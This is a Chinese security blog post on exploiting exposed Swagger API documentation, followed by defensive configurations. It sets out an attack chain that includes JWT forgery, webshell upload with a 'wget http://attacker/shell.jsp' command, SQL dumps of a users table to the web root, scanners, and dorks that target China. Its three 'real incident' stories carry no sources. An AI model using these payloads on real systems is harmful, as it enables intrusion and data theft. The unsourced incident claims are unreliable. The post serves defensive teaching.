swagger 接口未授权漏洞怎么玩儿!
一、漏洞原理与危害评级
1.1 Swagger接口暴露路径
# 常见未授权访问端点 /v2/api-docs # 核心API文档 /swagger-ui.html # 可视化界面 /swagger.json # 原始配置文件 /api/swagger # 常见变体路径 /docs # SpringBoot默认路径
1.2 风险矩阵评估
| 暴露信息类型 | 危害等级 | 影响范围 |
| API接口参数 | 高危 | 业务逻辑泄露 |
| 身份认证机制 | 严重 | 权限绕过可能 |
| 数据库操作接口 | 灾难级 | 数据泄露风险 |
| 服务器管理端点 | 灾难级 | 系统沦陷风险 |
二、四阶渗透利用技巧
2.1 初级利用:信息收集
// 从swagger.json提取的关键字段
{
"paths":{
"/api/v1/user/search":{
"get":{
"parameters":[
{"name":"phone","in":"query"},
{"name":"idcard","in":"query"}
]
}
},
"/internal/server/restart":{}
}
}
分析要点:
- • 敏感接口定位(如含internal、admin的路径)
- • 隐私参数识别(手机号、身份证等字段)
2.2 中级利用:认证绕过
JWT密钥泄露场景:
paths: /auth/login: post: responses: 200: schema: $ref:'#/definitions/JwtToken' definitions: JwtToken: properties: token: example: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
攻击步骤:
- 1. 使用jwt.io解码示例Token
- 2. 发现签名算法为HS256
- 3. 通过接口文档获取密钥硬编码线索
- 4. 伪造管理员Token访问内部接口
2.3 高级利用:命令执行链
{
"/api/system/exec":{
"post":{
"parameters":[{
"name":"command",
"in":"body",
"schema":{"type":"string"}
}]
}
},
"/file/upload":{}
}
组合攻击路径:
上传Webshell获取写入路径执行命令拼接服务器控制
具体操作:
- 1. 通过/file/upload接口上传恶意JSP文件
- 2. 使用/api/system/exec执行wget http://attacker/shell.jsp
- 3. 访问写入的Webshell获取控制权
2.4 终极利用:数据库接管
暴露的SQL接口:
{
"/db/query":{
"post":{
"parameters":[{
"name":"sql",
"in":"body",
"required":true
}]
}
}
}
渗透步骤:
- 1. 执行侦察语句:
{"sql":"SELECT table_name FROM information_schema.tables"}
- 2. 定位用户表:
{"sql":"SELECT column_name FROM information_schema.columns WHERE table_name='users'"}
- 3. 数据导出:
{"sql":"COPY (SELECT * FROM users) TO '/var/www/html/leak.csv'"}
三、自动化探测方案
3.1 指纹识别脚本
import requests TARGETS = [ "/swagger-ui.html", "/swagger/v1/swagger.json", "/v3/api-docs" ] defcheck_swagger(url): for path in TARGETS: try: resp = requests.get(url + path, timeout=5) if resp.status_code == 200: if"swagger"in resp.text or"openapi"in resp.text: returnTrue except: continue return False
3.2 敏感接口扫描器
# 使用jq解析swagger.json curl -s http://target/swagger.json | jq '.paths | keys[]' | grep -E '(admin|internal|manage|secret)'
3.3 企业级资产测绘
# FoFa高级语法 title="Swagger UI" && country="CN" # 钟馗之眼搜索 app:"Swagger"
四、三大真实案例复盘
4.1 政务云数据泄露事件
攻击路径:
未授权Swagger → 暴露公民查询接口 → 构造批量查询 → 下载17万条数据
技术亮点:
利用/api/export接口的limit参数设置为0实现全量导出
4.2 金融系统入侵事件
攻击链:
JWT密钥泄露 → 伪造管理员身份 → 访问资金划转接口 → 发起2300万异常转账
漏洞根源:
Swagger文档中硬编码测试用密钥secretKey: "test123"
4.3 制造业工业控制系统入侵
渗透过程:
- 1. 发现/plc/control接口
- 2. 构造设备停止指令:
{"command": "EMERGENCY_STOP", "machine_id": "all"}
- 3. 造成全厂生产线瘫痪6小时
五、企业级防御方案
5.1 访问控制策略
# Nginx配置示例
location ~* ^/(swagger|api-docs|docs) {
satisfy any;
allow 192.168.1.0/24; # 内网IP段
allow 10.10.0.1; # 管理机IP
deny all;
auth_basic "Restricted";
auth_basic_user_file /etc/nginx/.htpasswd;
}
5.2 生产环境净化
// SpringBoot配置
@Bean
public Docket api() {
return new Docket(DocumentationType.SWAGGER_2)
.enable(!Arrays.asList(env.getActiveProfiles()).contains("prod")) // 生产环境禁用
.select()
.apis(RequestHandlerSelectors.any())
.paths(PathSelectors.any())
.build();
}
5.3 敏感信息脱敏
# 使用swagger-annotations @Operation(summary="用户查询") @Parameter( name="idcard", description="身份证号", example="110***********1234"//自动脱敏 )
5.4 审计监控体系
# ELK监控告警规则
{
"query": {
"bool": {
"must": [
{ "match": { "url.path": "/swagger-ui.html" } },
{ "range": { "source.ip": { "not_in": ["10.0.0.0/8"] } } }
]
}
}
}
六、漏洞修复验证清单
- 1. 环境检测
- • 生产环境已禁用Swagger UI
- • 测试环境开启HTTP认证
- 2. 访问控制
- • 配置IP白名单限制
- • 启用Basic身份认证
- 3. 内容安全
- • 删除示例敏感数据
- • 脱敏展示隐私字段
- • 禁用危险接口文档
- 4. 监控审计
- • 部署异常访问检测规则
- • 建立API文档访问日志
文章来源:HACK之道
华盟君